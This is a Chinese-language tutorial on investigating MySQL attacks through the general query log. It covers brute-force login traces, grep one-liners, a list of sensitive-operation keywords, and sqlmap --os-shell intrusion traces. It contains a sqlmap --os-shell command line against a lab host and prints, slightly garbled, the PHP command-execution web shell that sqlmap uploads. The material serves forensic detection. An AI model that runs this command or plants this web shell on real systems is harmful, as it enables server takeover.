常见的数据库攻击包括弱口令、sql注入、提升权限、窃取备份等。对数据库日志进行分析，可以发现攻击行为，进一步还原攻击场景及追溯攻击源。
一、Mysql日志分析
general query log能记录成功连接和每次执行的查询，我们可以将它用作安全布防的一部分，为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息
show variables like '%general%';
2、开启日志
SET GLOBAL general_log = 'On';
3、指定日志文件路径
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
比如，当我访问 /test.php?id=1，此时我们得到这样的日志：
190604 14:46:14 14 Connect root@localhost on
14 Init DB test
14 Query SELECT * FROM admin WHERE id = 1
14 Quit我们按列来解析一下：
第一列:Time，时间列，前面一个是日期,后面一个是小时和分钟，有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:Id，就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:Command，操作类型，比如Connect就是连接数据库，Query就是查询数据库(增删查改都显示为查询)，可以特定过虑一些操作。
第四列:Argument，详细信息，例如 Connect root@localhost on 意思就是连接数据库，如此类推,接下面的连上数据库之后,做了什么查询的操作。
二、登录成功/失败
我们来做个简单的测试吧，使用我以前自己开发的弱口令工具来扫一下，字典设置比较小，2个用户，4个密码，共8组。
MySQL中的log记录是这样子：
Time Id Command Argument
190601 22:03:20 98 Connect root@192.168.204.1 on
98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
103 Connect mysql@192.168.204.1 on
103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
104 Connect mysql@192.168.204.1 on
104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Connect root@192.168.204.1 on
101 Connect root@192.168.204.1 on
101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
99 Connect root@192.168.204.1 on
99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
105 Connect mysql@192.168.204.1 on
105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Query set autocommit=0
102 Connect mysql@192.168.204.1 on
102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Quit你知道在这个口令猜解过程中，哪个是成功的吗？
利用爆破工具，一个口令猜解成功的记录是这样子的：
190601 22:03:20 100 Connectroot@192.168.204.1 on 100 Queryset autocommit=0 100 Quit
但是，如果你是用其他方式，可能会有一点点不一样的哦。
Navicat for MySQL登录：
190601 22:14:07 106 Connectroot@192.168.204.1 on
106 QuerySET NAMES utf8
106 QuerySHOW VARIABLES LIKE 'lower_case_%'
106 QuerySHOW VARIABLES LIKE 'profiling'
106 QuerySHOW DATABASES命令行登录：
190601 22:17:25 111 Connectroot@localhost on
111 Queryselect @@version_comment limit 1
190601 22:17:56 111 Quit这个差别在于，不同的数据库连接工具，它在连接数据库初始化的过程中是不同的。通过这样的差别，我们可以简单判断出用户是通过连接数据库的方式。
另外，不管你是爆破工具、Navicat for MySQL、还是命令行，登录失败都是一样的记录。
登录失败的记录：
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
利用shell命令进行简单的分析：
有哪些IP在爆破？
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1爆破用户名字典都有哪些？
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr 13 mysql 12 root 1 root 1 mysql
在日志分析中，特别需要注意一些敏感的操作行为，比如删表、备库，读写文件等。
关键词：drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表：SELECT * from mysql.user、SELECT * from mysql.func
三、SQL注入入侵痕迹
在利用SQL注入漏洞的过程中，我们会尝试利用sqlmap的--os-shell参数取得shell，如操作不慎，可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理：
1、构造一个SQL注入点，开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP通讯过程如下：
创建了一个临时文件tmpbwyov.php，通过访问这个木马执行系统命令，并返回到页面展示。
tmpbwyov.php：
&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "".$w."
";?>`创建了一个临时表sqlmapoutput，调用存储过程执行系统命令将数据写入临时表，然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件，可以判断是否发生过sql注入漏洞攻击事件。
检查方法：
1、检查网站目录下，是否存在一些木马文件：
2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
mysqllibpluginc:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3、结合web日志分析。
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